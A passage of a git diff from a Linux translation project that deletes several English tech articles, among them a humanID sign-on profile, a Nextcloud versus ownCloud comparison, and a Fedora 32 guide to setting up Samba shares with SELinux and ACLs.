run `crontab -l`. - -By default, Certbot will only renew the certificate if it has less than 30 days left before its expiry date. If the cert is not due to expire, Certbot will not renew it (nor call hooks, of course). - -### Testing results - -If you access MailCleaner's web interface, you'll see that the SSL certificate is valid. And if you run the following command in your server, you can see that the certificate being presented on STARTTLS is the new Let's Encrypt cert you just set: - - -``` -`$ openssl s_client -connect localhost:25 -starttls smtp` -``` - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/6/secure-open-source-antispam - -作者:[Victor Lopes][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/victorlclopes -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/email_chat_communication_message.png?itok=LKjiLnQu (Chat via email) -[2]: https://www.mailcleaner.org/ -[3]: https://letsencrypt.org/docs/challenge-types -[4]: https://www.pfsense.org/ -[5]: https://docs.netgate.com/pfsense/en/latest/certificates/acme-package.html -[6]: https://medium.com/@victorlclopes/copy-pfsense-acme-certificate-to-another-server-e42c611c47ec -[7]: https://certbot.eff.org/ -[8]: https://medium.com/@victorlclopes/how-to-install-mailcleaner-2020-01-8319c83e11ee -[9]: mailto:myemail@domain.com -[10]: mailto:victor@domain.com -[11]: https://forum.mailcleaner.org/viewtopic.php?f=5&t=3035#p12532 -[12]: https://gist.github.com/victorlclopes/f5aa081f1a9c76466aaf3f3dc5bd60b7 diff --git a/sources/tech/20200609 humanID Project- Restoring Civil Discussion Through Better Online Identity.md b/sources/tech/20200609 humanID Project- Restoring Civil Discussion Through Better Online Identity.md deleted file mode 100644 index f9eeba832f..0000000000 --- a/sources/tech/20200609 humanID Project- Restoring Civil Discussion Through Better Online Identity.md +++ /dev/null @@ -1,85 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (humanID Project: Restoring Civil Discussion Through Better Online Identity) -[#]: via: (https://www.linux.com/audience/developers/humanid-project-restoring-civil-discussion-through-better-online-identity/) -[#]: author: (Swapnil Bhartiya https://www.linux.com/author/swapnil/) - -humanID Project: Restoring Civil Discussion Through Better Online Identity -====== - -[![][1]][2] - -[![][1]][2] - -Every day, billions of people use social sign-ons, such as “Login with Facebook”, to access applications over the Internet. A major drawback of this system is the inability to distinguish a real human user from a bot. - -Nonprofit organization [humanID][3], a recipient of [Harvard University’s Social Impact Fund][4], came up with an innovative idea: develop a one-click anonymous sign-on that serves as an alternative to social sign-on. - -“With humanID, everyone can use services without giving up privacy or having their data sold. Bot networks are automatically excluded, while applications can easily block abusive users and trolls, creating more civil digital communities,” says [Bastian Purrer, Co-Founder of humanID][5]. - -humanID was born during Purrer’s stint in Indonesia. He was helping out a political party’s campaign and was aghast to discover how much of the political conversation during the election was controlled by bots and trolls. - -When he realized that political parties routinely deploy bots to promote propaganda and false facts, it became clear that the key to restoring civil discussion, and the vision of an internet for everyone, was better online identity. - -**The mission -** Besides Purrer, humanID’s other co-founders are [Sidiq Permana][6] and [Shuyao Kong][7]. Together, they lead a 20-person organization, with the tech team based in Indonesia while the business team is in Boston. - -“Fixing the Internet is the core mission that unites all three co-founders. Having witnessed how public opinions and sentiments are swayed by fake accounts, we believe that restoring online identity is the first step to restoring authenticity and accountability on the Internet,” says Kong. “We target consumer use cases that are currently serviced by email-and- password, or social sign-ons. This includes the majority of apps on our phones.” - -Purrer says the goal of the project is to have one humanID per person.  “We want people to have control over their own identity from a privacy perspective. We want humanID to be so intuitive and prevalent that it becomes the default identity layer for applications.” - -An identity is a permanent representation within a certain context. On the Internet, just like in real life, our identity differs from community to community. humanID enables this, by giving users a different, unique identity in every community. - -“It is, if the user chooses so, also a different identity than their offline identity. This is where anonymity comes in. Anonymity means that your offline identity, your physical self, cannot be revealed based on your digital identity,” says Kong, who has worked previously in the blockchain and privacy space. - -Permana, who’s leading humanID’s technical development, says, “We achieve this by hashing users’ phone numbers, with a unique, different hash for each user and each application — making cross-referencing between communities impossible. The irreversibility of the hashes ensures secure anonymity. The fact that we do not permanently save any unhashed information makes it impossible, not just for our partner applications but even for ourselves, to reveal a user’s offline identity in the form of his phone number.” - -The humanID team believes a persistent, safe identity will be better than any of the existing online identities that are not safe from surveillance and cannot be held accountable for their online behavior. - -**The underlying tech -** humanID reached out to the Linux Foundation because it saw “tremendous value to be part of the force that’s driving the industry standard.” - -“The Internet is built on layers of open-source, free-to-use protocols. humanID is created in this tradition. The solution hashes users’ phone numbers and email addresses, securing them safely away from hackers and media giants. Each user will have a unique hash for each application he or she signs on so there’s no cross-referencing,” explains Purrer. - -“Our database stores users’ country codes, but relinquishes access to the rest of the information we hash. We are using OAuth at the moment, but actively exploring tech that enhances the security of humanID. Developers can implement the social login within a few hours of work,” he says. - -**The use cases -** One use case they are deploying for their first client [GreenZone][8] is tracking COVID without sacrificing users’ privacy. Permana explains, “GreenZone is a tracking application that doesn’t track users’ location. Instead, it shows ‘green zones’ of low-risk areas where no symptoms are reported, therefore, alleviating anxiety by showing users whether they are in a safe zone or not. All data is entirely peer-to-peer and there is no government, police or regulators involved.” - -According to him, humanID’s first set of customers will be those that are privacy-conscious because their customers demand native privacy when using their product. These businesses include COVID-tracking, health and self-tracking apps, self-help forums, and VPNs. - -“We also target social networks, petition sites, and any site with a forum or comment section. All of these businesses suffer heavily from spam abuse and automated accounts. With humanID, everyone can use services without giving away privacy or having their data sold. Bot networks are automatically excluded, while applications can easily block abusive users and trolls,” he says. - -Purrer clarifies that humanID does not intend to replace government-issued IDs or business-internal identity management. - -“We don’t intend to compete with these existing businesses or standards, but to add a new and fresh idea in the struggle to bring back privacy, safety and accountability on the web,” he says. - -The project has been driven by open source and volunteer work for 1.5 years. “We’re actively seeking support and grants to accelerate our work to bring humanID to market and sign up clients. Beyond this, we aim to cover our cost from our client base and not be dependent on charitable donations beyond 2022,” Purrer adds. - -Check out the demo below, if you have any questions feel free to contact the team on [github][9]. - --------------------------------------------------------------------------------- - -via: https://www.linux.com/audience/developers/humanid-project-restoring-civil-discussion-through-better-online-identity/ - -作者:[Swapnil Bhartiya][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/swapnil/ -[b]: https://github.com/lujun9972 -[1]: https://www.linux.com/wp-content/uploads/2020/06/icon-1080750_1920-1068x1068.png (icon-1080750_1920) -[2]: https://www.linux.com/wp-content/uploads/2020/06/icon-1080750_1920.png -[3]: https://www.human-id.org/ -[4]: https://innovationlabs.harvard.edu/social-impact-fellowship-fund/#:~:text=What%20is%20the%20social%20impact,five%20years%2C%20beginning%20in%202019. -[5]: https://www.linkedin.com/in/bastianpurrer/ -[6]: https://www.linkedin.com/in/sidiqpermana/ -[7]: https://www.linkedin.com/in/shuyao-kong/ -[8]: https://greenzone.live/beta/ -[9]: https://github.com/bluenumberfoundation diff --git a/sources/tech/20200611 Nextcloud Vs ownCloud- What-s the Difference- Which one Should You Use.md b/sources/tech/20200611 Nextcloud Vs ownCloud- What-s the Difference- Which one Should You Use.md deleted file mode 100644 index 0959aa2411..0000000000 --- a/sources/tech/20200611 Nextcloud Vs ownCloud- What-s the Difference- Which one Should You Use.md +++ /dev/null @@ -1,197 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Nextcloud Vs ownCloud: What’s the Difference? Which one Should You Use?) -[#]: via: (https://itsfoss.com/nextcloud-vs-owncloud/) -[#]: author: (Ankush Das https://itsfoss.com/author/ankush/) - -Nextcloud Vs ownCloud: What’s the Difference? Which one Should You Use? -====== - -[Nextcloud][1] and [ownCloud][2] are two of the most popular names that you will come across when we talk about self-hosted open-source cloud storage services. - -Now, Nextcloud and ownCloud are similar in so many ways that it often confuses people. - -And this is why we at It’s FOSS thought of creating this comparison of Nextcloud and ownCloud. I’ll discuss the difference between ownCloud and Nextcloud. I’ll also share how both services are similar. - -### The history of ownCloud and Nextcloud - -In 2010, [Frank Karlitschek][3] started the ownCloud project by announcing it during a [Camp KDE keynote session][4]. - -![ownCloud interface][5] - -It started off as a personal cloud storage solution to give users the ability to have control of their own data without relying on other cloud storage providers which then translated to the start of ownCloud Inc. - -Unfortunately, Frank Karlitschek, along with several original developers left ownCloud Inc. They didn’t officially state any reason for that – but they hinted about the problem of having a business model that did not compliment an open-source solution. - -Now, ownCloud focuses primarily on Enterprise offerings and offers a separate sever edition (to self-host) for users. - -Frank Karlitschek started Nextcloud as a fork of ownCloud right after leaving ownCloud Inc. - -![Nextcloud interface][6] - -Considering that it’s a fork, you will find many similarities, however, the product has evolved a lot over the years arguably making it more popular than ownCloud. It is striving to become a collaboration platform like Microsoft Office 365 and Google Docs. - -Similar to ownCloud, you will find a self-hosted option and an enterprise-tailored solution. - -### Nextcloud vs ownCloud: Similarities - -![Nextcloud Vs Owncloud][7] - -Let’s talk about the similarities between Nextcloud and ownCloud. - -#### User Interface - -It’s safe to consider that the user interface offered by Nextcloud and ownCloud is very similar to each other. - -Yes, you might find some under-the-hood changes and maybe several subtle differences. But, overall, it looks/feels very much the same. - -#### Collaboration Features - -Unless you consider all the nitty gritty features that they both offer, fundamentally, it’s more or less the same. - -You can manage tasks, upload files, have a calendar, and do a lot of basic collaboration activities in both Nextcloud and ownCloud. - -#### Self-hosting Option - -It’s quite obvious — but just for your information, you can easily deploy either of them (Nextcloud and ownCloud) on your own server without opting for enterprise services. - -Use a cloud service like Linode or [DigitalOcean][8]. They even have one-click installer option to deploy a full-fledged Nextcloud or ownCloud server in minutes. - -#### Cross-platform support - -Both ownCloud and Nextcloud offers support for desktop clients and mobile apps (iOS & Android) to enhance the convenience of collaboration activities. - -So, you should be good to go with either of them if you’re looking for cross-platform support for yourself. - -### Nextcloud vs ownCloud: Key Differences - -Now that you are aware of the similarities, let’s see how Nextcloud and ownCloud are different. - -#### License Differences - -For most of the users, being a truly open-source solution matters a lot. And, that is why it is important to know the license a service comes under. - -ownCloud offers the standard edition (or the community edition) under the [AGPLv3 license][9] but the enterprise edition comes under [ownCloud’s commercial license][10]. - -While Nextcloud’s both enterprise and community editions come under the **APGPLv3 license.** - -So, depending on what you’re looking for, you need to make a choice here. - -#### Exclusive Features - -Sometimes it’s a deal breaker or a selling point to have a set of enterprise-exclusive features on a service. - -So, when I looked around, I found out that ownCloud does offer a set of [exclusive features][11] only for the premium subscribers. - -On the other hand, Nextcloud offers the complete set of features for both community and enterprise editions and the premium subscription only includes support or technical help for enterprise deployments. - -#### Documentation - -![Owncloud Documentation][12] - -Documentation is a very important part of a product/service like ownCloud and Nextcloud where a lot of users manage the instances themselves. - -Of course, depending on your technical expertise and preferences, you might find any of the documentations to be better than the other. - -![Nextcloud Documentation][13] - -However, in our case, [Avimanyu Bandyopadhyay][14] (Research Engineer at It’s FOSS) felt that [ownCloud’s documentation][15] is more useful and easier to follow when compared to [Nextcloud’s documentation][16]. - -_ownCloud has provided a ready-to-deploy configuration file for enterprise use at the bottom of its docker documentation page. But, Nextcloud has kept it separately on GitHub – which might be a little inconvenient_ _to find_. - -So, Nexcloud’s clarity on the documentation part could definitely improve. - -#### Pricing Plans (for enterprise edition) - -No matter how a good a service is — the pricing plans always influences the final decision for enterprises to choose a solution that suits their requirements within a budget. - -If we compare the pricing plans of [Nextcloud][17] and [ownCloud][18], you will notice that ownCloud starts offering enterprise services at **$3,600 for a team of 50 users**. - -In contrast, Nextcloud’s enterprise services **start at €1900 (which is roughly $2050)** for a team of 50 users. - -Of course, it all comes down to your preferences on what exactly are you looking for. - -#### App Marketplace - -![Nextcloud Marketplace][19] - -The availability of apps to extend the functionality of Nextcloud or ownCloud plays an important role to help you choose the best for your use-case.T - -Theoretically, you should find a bunch of useful [apps on Nextcloud][20] and [ownCloud’s marketplace][21]. - -However, you might find a few things missing on ownCloud’s app marketplace like Kanban styled board [Deck][22] and [W2G2][23] (File/Folder locking app). - -![Owncloud Marketplace][24] - -At least, depending on what I look for on a collaboration platform — I couldn’t find anything similar on ownCloud. - -Similarly, I might have missed something that’s available on ownCloud but not on Nextcloud. So, this should be one of your primary factors to consider before deploying ownCloud or Nextcloud for yourself or for your enterprise. - -#### Potential Issues or Bugs - -It’s obvious that both Nextcloud and ownCloud can have their own share of issues. So, if you’re going to self-host either of them, you should check out their GitHub pages to scroll through the active issues. - - * [Nextcloud GitHub][25] - * [ownCloud GitHub][26] - - - -For instance, while writing this article, Nextcloud has an active issue where the [files in a sub-folder of an encrypted folder are not encrypted][27]. Similarly, ownCloud also has a bug with [syncing the files when the user hits the reload button][28]. - -Of course, these are just examples that I took from their list of issues. But, you should keep an eye on some active issues before deploying it yourself that could ultimately help you decide what to choose. - -### So, which one do you choose? Nextcloud or ownCloud? - -Now that you’ve known about what’s different and what’s similar between Nextcloud and ownCloud — it should be slightly easier to choose one. - -However, given the potential of both the services and the number of add-ons they offer, I could have missed a few points here. So, I’d recommend you to go through the documentations for each of them for enterprise-use. For personal usage, you can choose either Nextcloud or ownCloud as per your preferences. - -At It’s FOSS, we [use Nextcloud][29] for storing files, task management and recently for collaborating on documentation. - -What do you think? Nextcloud or ownCloud? Do share your thoughts in the comment section. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/nextcloud-vs-owncloud/ - -作者:[Ankush Das][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ -[b]: https://github.com/lujun9972 -[1]: https://nextcloud.com/ -[2]: https://owncloud.com/ -[3]: https://en.wikipedia.org/wiki/Frank_Karlitschek -[4]: https://dot.kde.org/2010/01/21/camp-kde-2010-continues-more-talks -[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/05/ownCloud-screenshot.jpg?ssl=1 -[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/05/nextcloud-screenshot.jpg?ssl=1 -[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/06/Nextcloud-vs-OwnCloud-itsfoss.jpg?ssl=1 -[8]: https://itsfoss.com/recommends/digital-ocean/ -[9]: https://www.gnu.org/licenses/agpl-3.0.en.html -[10]: https://owncloud.com/licenses/owncloud-commercial/ -[11]: https://owncloud.com/enterprise-edition/ -[12]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/05/owncloud-documentation.jpg?ssl=1 -[13]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/05/nextcloud-documentation.jpg?ssl=1 -[14]: https://itsfoss.com/author/avimanyu/ -[15]: https://doc.owncloud.org/server/10.4/ -[16]: https://docs.nextcloud.com/ -[17]: https://nextcloud.com/pricing/ -[18]: https://owncloud.com/pricing/ -[19]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/05/nextcloud-marketplace.jpg?ssl=1 -[20]: https://apps.nextcloud.com/ -[21]: https://marketplace.owncloud.com -[22]: https://apps.nextcloud.com/apps/deck -[23]: https://apps.nextcloud.com/apps/w2g2 -[24]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/owncloud-marketplace.jpg?ssl=1 -[25]: https://github.com/nextcloud -[26]: https://github.com/owncloud -[27]: https://github.com/nextcloud/desktop/issues/774 -[28]: https://github.com/owncloud/core/issues/37170 -[29]: https://itsfoss.com/nextcloud/ diff --git a/sources/tech/20200612 Fedora 32- Simple Local File-Sharing with Samba.md b/sources/tech/20200612 Fedora 32- Simple Local File-Sharing with Samba.md deleted file mode 100644 index 47263e741c..0000000000 --- a/sources/tech/20200612 Fedora 32- Simple Local File-Sharing with Samba.md +++ /dev/null @@ -1,488 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Fedora 32: Simple Local File-Sharing with Samba) -[#]: via: (https://fedoramagazine.org/fedora-32-simple-local-file-sharing-with-samba/) -[#]: author: (da2ce7 https://fedoramagazine.org/author/da2ce7/) - -Fedora 32: Simple Local File-Sharing with Samba -====== - -![][1] - -Sharing files with Fedora 32 using Samba is cross-platform, convenient, reliable, and performant. - -### What is ‘Samba’? - -[Samba][2] is a high-quality implementation of [Server Message Block protocol (SMB)][3]. Originally developed by Microsoft for connecting windows computers together via local-area-networks, it is now extensively used for internal network communications. - -Apple used to maintain it’s own independent file sharing called “[Apple Filing Protocol (**AFP**)][4]“, however in [recent times][5], it also has also switched to SMB. - -**In this guide we provide the minimal instructions to enable:** - - * Public Folder Sharing (Both Read Only and Read Write) - * User Home Folder Access - - - -``` -Note about this guide: The convention '~]$' for a local user command prompt, and '~]#' for a super user prompt will be used. -``` - -### Public Sharing Folder - -Having a shared public place where authenticated users on an internal network can access files, or even modify and change files if they are given permission, can be very convenient. This part of the guide walks through the process of setting up a shared folder, ready for sharing with Samba. - -``` -Please Note: This guide assumes the public sharing folder is on a Modern Linux Filesystem; other filesystems such as NTFS or FAT32 will not work. Samba uses POSIX Access Control Lists (ACLs). - -For those who wish to learn more about Access Control Lists, please consider reading the documentation: "Red Hat Enterprise Linux 7: System Administrator's Guide: Chapter 5. Access Control Lists", as it likewise applies to Fedora 32. - -In General, this is only an issue for anyone who wishes to share a drive or filesystem that was created outside of the normal Fedora Installation process. (such as a external hard drive). - -It is possible for Samba to share filesystem paths that do not support POSIX ACLs, however this is out of the scope of this guide. -``` - -#### Create Folder - -For this guide the _**/srv/public/**_ folder for sharing will be used. - -> The _/srv/_ directory contains site-specific data served by a Red Hat Enterprise Linux system. This directory gives users the location of data files for a particular service, such as FTP, WWW, or CVS. Data that only pertains to a specific user should go in the _/home/_ directory. -> -> [Red Hat Enterprise Linux 7, Storage Administration Guide: Chapter 2. File System Structure and Maintenance: 2.1.1.8. The /srv/ Directory][6] - -``` -Make the Folder (will provide an error if the folder already exists). -~]# mkdir --verbose /srv/public - -Verify folder exists: -~]$ ls --directory /srv/public - -Expected Output: -/srv/public -``` - -#### Set Filesystem Security Context - -To have _read and write_ access to the public folder the _public_content_rw_t_ security context will be used for this guide. Those wanting _read only_ may use: _public_content_t_. - -> Label files and directories that have been created with the _public_content_rw_t_ type to share them with read and write permissions through vsftpd. Other services, such as Apache HTTP Server, Samba, and NFS, also have access to files labeled with this type. Remember that booleans for each service must be enabled before they can write to files labeled with this type. -> -> [Red Hat Enterprise Linux 7, SELinux User’s and Administrator’s Guide: Chapter 16. File Transfer Protocol: 16.1. Types: public_content_rw_t][7] - -Add _/srv/public_ as _“public_content_rw_t”_ in the system’s local filesystem security context customization registry: - -``` -Add new security filesystem security context: -~]# semanage fcontext --add --type public_content_rw_t "/srv/public(/.*)?" - -Verifiy new security filesystem security context: -~]# semanage fcontext --locallist --list - -Expected Output: (should include) -/srv/public(/.*)? all files system_u:object_r:public_content_rw_t:s0 -``` - -Now that the folder has been added to the local system’s filesystem security context registry; The **restorecon** command can be used to ‘restore’ the context to the folder: - -``` -Restore security context to the /srv/public folder: -$~]# restorecon -Rv /srv/public - -Verify security context was correctly applied: -~]$ ls --directory --context /srv/public/ - -Expected Output: -unconfined_u:object_r:public_content_rw_t:s0 /srv/public/ -``` - -#### User Permissions - -##### Creating the Sharing Groups - -To allow a user to either have _read only_, or _read and write_ accesses to the public share folder create two new groups that govern these privileges: _public_readonly_ and _public_readwrite_. - -User accounts can be granted access to _read only_, or _read and write_ by adding their account to the respective group (and allow login via Samba creating a smb password). This process is demonstrated in the section: “Test Public Sharing (localhost)”. - -``` -Create the public_readonly and public_readwrite groups: -~]# groupadd public_readonly -~]# groupadd public_readwrite - -Verify successful creation of groups: -~]$ getent group public_readonly public_readwrite - -Expected Output: (Note: x:1...: number will probability differ on your System) -public_readonly:x:1009: -public_readwrite:x:1010: -``` - -##### Set Permissions - -Now set the appropriate user permissions to the public shared folder: - -``` -Set User and Group Permissions for Folder: -~]# chmod --verbose 2700 /srv/public -~]# setfacl -m group:public_readonly:r-x /srv/public -~]# setfacl -m default:group:public_readonly:r-x /srv/public -~]# setfacl -m group:public_readwrite:rwx /srv/public -~]# setfacl -m default:group:public_readwrite:rwx /srv/public - -Verify user permissions have been correctly applied: -~]$ getfacl --absolute-names /srv/public - -Expected Output: -file: /srv/public -owner: root -group: root -flags: -s- -user::rwx -group::--- -group:public_readonly:r-x -group:public_readwrite:rwx -mask::rwx -other::--- -default:user::rwx -default:group::--- -default:group:public_readonly:r-x -default:group:public_readwrite:rwx -default:mask::rwx -default:other::--- -``` - -### Samba - -#### Installation - -``` -~]# dnf install samba -``` - -#### Hostname (systemwide) - -Samba will use the name of the computer when sharing files; it is good to set a hostname so that the computer can be found easily on the local network. - -``` -View Your Current Hostname: -~]$ hostnamectl status -``` - -If you wish to change your hostname to something more descriptive, use the command: - -``` -Modify your system's hostname (example): -~]# hostnamectl set-hostname "simple-samba-server" -``` - -``` -For a more complete overview of the hostnamectl command, please read the previous Fedora Magazine Article: "How to set the hostname on Fedora". -``` - -#### Firewall - -Configuring your firewall is a complex and involved task. This guide will just have the most minimal manipulation of the firewall to enable Samba to pass through. - -``` -For those who are interested in learning more about configuring firewalls; please consider reading the documentation: "Red Hat Enterprise Linux 8: Securing networks: Chapter 5. Using and configuring firewall", as it generally applies to Fedora 32 as well. -``` - -``` -Allow Samba access through the firewall: -~]# firewall-cmd --add-service=samba --permanent -~]# firewall-cmd --reload - -Verify Samba is included in your active firewall: -~]$ firewall-cmd --list-services - -Output (should include): -samba -``` - -#### Configuration - -##### Remove Default Configuration - -The stock configuration that is included with Fedora 32 is not required for this simple guide. In particular it includes support for sharing printers with Samba. - -For this guide make a backup of the default configuration and create a new configuration file from scratch. - -``` -Create a backup copy of the existing Samba Configuration: -~]# cp --verbose --no-clobber /etc/samba/smb.conf /etc/samba/smb.conf.fedora0 - -Empty the configuration file: -~]# > /etc/samba/smb.conf -``` - -##### Samba Configuration - -``` -Please Note: This configuration file does not contain any global definitions; the defaults provided by Samba are good for purposes of this guide. -``` - -``` -Edit the Samba Configuration File with Vim: -~]# vim /etc/samba/smb.conf -``` - -Add the following to _/etc/samba/smb.conf_ file: - -``` -# smb.conf - Samba Configuration File - -# The name of the share is in square brackets [], -# this will be shared as //hostname/sharename - -# There are a three exceptions: -# the [global] section; -# the [homes] section, that is dynamically set to the username; -# the [printers] section, same as [homes], but for printers. - -# path: the physical filesystem path (or device) -# comment: a label on the share, seen on the network. -# read only: disable writing, defaults to true. - -# For a full list of configuration options, -# please read the manual: "man smb.conf". - -[global] - -[public] -path = /srv/public -comment = Public Folder -read only = No -``` - -#### Write Permission - -By default Samba is not granted permission to modify any file of the system. Modify system’s security configuration to allow Samba to modify any filesystem path that has the security context of _public_content_rw_t_. - -For convenience, Fedora has a built-in SELinux Boolean for this purpose called: _smbd_anon_write_, setting this to _true_ will enable Samba to write in any filesystem path that has been set to the security context of _public_content_rw_t_. - -For those who are wishing Samba only have a read-only access to their public sharing folder, they may choose skip this step and not set this boolean. - -``` -There are many more SELinux boolean that are available for Samba. For those who are interested, please read the documentation: "Red Hat Enterprise Linux 7: SELinux User's and Administrator's Guide: 15.3. Samba Booleans", it also apply to Fedora 32 without any adaptation. -``` - -``` -Set SELinux Boolean allowing Samba to write to filesystem paths set with the security context public_content_rw_t: -~]# setsebool -P smbd_anon_write=1 - -Verify bool has been correctly set: -$ getsebool smbd_anon_write - -Expected Output: -smbd_anon_write --> on -``` - -### Samba Services - -The Samba service is divided into two parts that we need to start. - -#### Samba ‘smb’ Service - -The Samba “Server Message Block” (SMB) services is for sharing files and printers over the local network. - -Manual: “[smbd – server to provide SMB/CIFS services to clients][8]“ - -#### Enable and Start Services - -``` -For those who are interested in learning more about configuring, enabling, disabling, and managing services, please consider studying the documentation: "Red Hat Enterprise Linux 7: System Administrator's Guide: 10.2. Managing System Services". -``` - -``` -Enable and start smb and nmb services: -~]# systemctl enable smb.service -~]# systemctl start smb.service - -Verify smb service: -~]# systemctl status smb.service -``` - -#### Test Public Sharing (localhost) - -To demonstrate allowing and removing access to the public shared folder, create a new user called _samba_test_user_, this user will be granted permissions first to read the public folder, and then access to read and write the public folder. - -The same process demonstrated here can be used to grant access to your public shared folder to other users of your computer. - -The _samba_test_user_ will be created as a locked user account, disallowing normal login to the computer. - -``` -Create 'samba_test_user', and lock the account. -~]# useradd samba_test_user -~]# passwd --lock samba_test_user - -Set a Samba Password for this Test User (such as 'test'): -~]# smbpasswd -a samba_test_user -``` - -##### Test Read Only access to the Public Share: - -``` -Add samba_test_user to the public_readonly group: -~]# gpasswd --add samba_test_user public_readonly - -Login to the local Samba Service (public folder): -~]$ smbclient --user=samba_test_user //localhost/public - -First, the ls command should succeed, -Second, the mkdir command should not work, -and finally, exit: -smb: \> ls -smb: \> mkdir error -smb: \> exit - -Remove samba_test_user from the public_readonly group: -gpasswd --delete samba_test_user public_readonly -``` - -##### Test Read and Write access to the Public Share: - -``` -Add samba_test_user to the public_readwrite group: -~]# gpasswd --add samba_test_user public_readwrite - -Login to the local Samba Service (public folder): -~]$ smbclient --user=samba_test_user //localhost/public - -First, the ls command should succeed, -Second, the mkdir command should work, -Third, the rmdir command should work, -and finally, exit: -smb: \> ls -smb: \> mkdir success -smb: \> rmdir success -smb: \> exit - -Remove samba_test_user from the public_readwrite group: -~]# gpasswd --delete samba_test_user public_readwrite -``` - -After testing is completed, for security, disable the **samba_test_user**‘s ability to login in via samba. - -``` -Disable samba_test_user login via samba: -~]# smbpasswd -d samba_test_user -``` - -### Home Folder Sharing - -In this last section of the guide; Samba will be configured to share a user home folder. - -For example: If the user bob has been registered with _smbpasswd_, bob’s home directory _/home/bob_, would become the share _//server-name/bob_. - -This share will only be available for bob, and no other users. - -``` -This is a very convenient way of accessing your own local files; however naturally it carries at a security risk. -``` - -#### Setup Home Folder Sharing - -##### Give Samba Permission for Public Folder Sharing - -``` -Set SELinux Boolean allowing Samba to read and write to home folders: -~]# setsebool -P samba_enable_home_dirs=1 - -Verify bool has been correctly set: -$ getsebool samba_enable_home_dirs - -Expected Output: -samba_enable_home_dirs --> on -``` - -##### Add Home Sharing to the Samba Configuration - -**Append the following to the systems smb.conf file:** - -``` -# The home folder dynamically links to the user home. - -# If 'bob' user uses Samba: -# The homes section is used as the template for a new virtual share: - -# [homes] -# ... (various options) - -# A virtual section for 'bob' is made: -# Share is modified: [homes] -> [bob] -# Path is added: path = /home/bob -# Any option within the [homes] section is appended. - -# [bob] -# path = /home/bob -# ... (copy of various options) - - -# here is our share, -# same as is included in the Fedora default configuration. - -[homes] - comment = Home Directories - valid users = %S, %D%w%S - browseable = No - read only = No - inherit acls = Yes -``` - -##### Reload Samba Configuration - -``` -Tell Samba to reload it's configuration: -~]# smbcontrol all reload-config -``` - -#### Test Home Directory Sharing - -``` -Switch to samba_test_user and create a folder in it's home directory: -~]# su samba_test_user -samba_test_user:~]$ cd ~ -samba_test_user:~]$ mkdir --verbose test_folder -samba_test_user:~]$ exit - -Enable samba_test_user to login via Samba: -~]# smbpasswd -e samba_test_user - -Login to the local Samba Service (samba_test_user home folder): -$ smbclient --user=samba_test_user //localhost/samba_test_user - -Test (all commands should complete without error): -smb: \> ls -smb: \> ls test_folder -smb: \> rmdir test_folder -smb: \> mkdir home_success -smb: \> rmdir home_success -smb: \> exit - -Disable samba_test_user from login in via Samba: -~]# smbpasswd -d samba_test_user -``` - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/fedora-32-simple-local-file-sharing-with-samba/ - -作者:[da2ce7][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/da2ce7/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/06/sambabasics-816x346.png -[2]: https://www.samba.org/samba/ -[3]: https://en.wikipedia.org/wiki/Server_Message_Block -[4]: https://en.wikipedia.org/wiki/Apple_Filing_Protocol -[5]: https://appleinsider.com/articles/13/06/11/apple-shifts-from-afp-file-sharing-to-smb2-in-os-x-109-mavericks -[6]: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/storage_administration_guide/ch-filesystem#s3-filesystem-srv -[7]: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/selinux_users_and_administrators_guide/chap-managing_confined_services-file_transfer_protocol#sect-Managing_Confined_Services-File_Transfer_Protocol-Types -[8]: https://www.samba.org/samba/docs/current/man-html/smbd.8.html diff --git a/sources/tech/20200612 How to Install Opera Browser on Ubuntu -Easy Way.md b/sources/tech/20200612 How to Install Opera Browser on Ubuntu -Easy Way.md deleted file mode 100644 index 285a3a8e30..0000000000 --- a/sources/tech/20200612 How to Install Opera Browser on Ubuntu -Easy Way.md +++ /dev/null @@ -1,149 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to Install Opera Browser on Ubuntu [Easy Way]) -[#]: via: (https://itsfoss.com/install-opera-ubuntu/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -How to Install Opera Browser on Ubuntu [Easy Way] -====== - -_**Learn 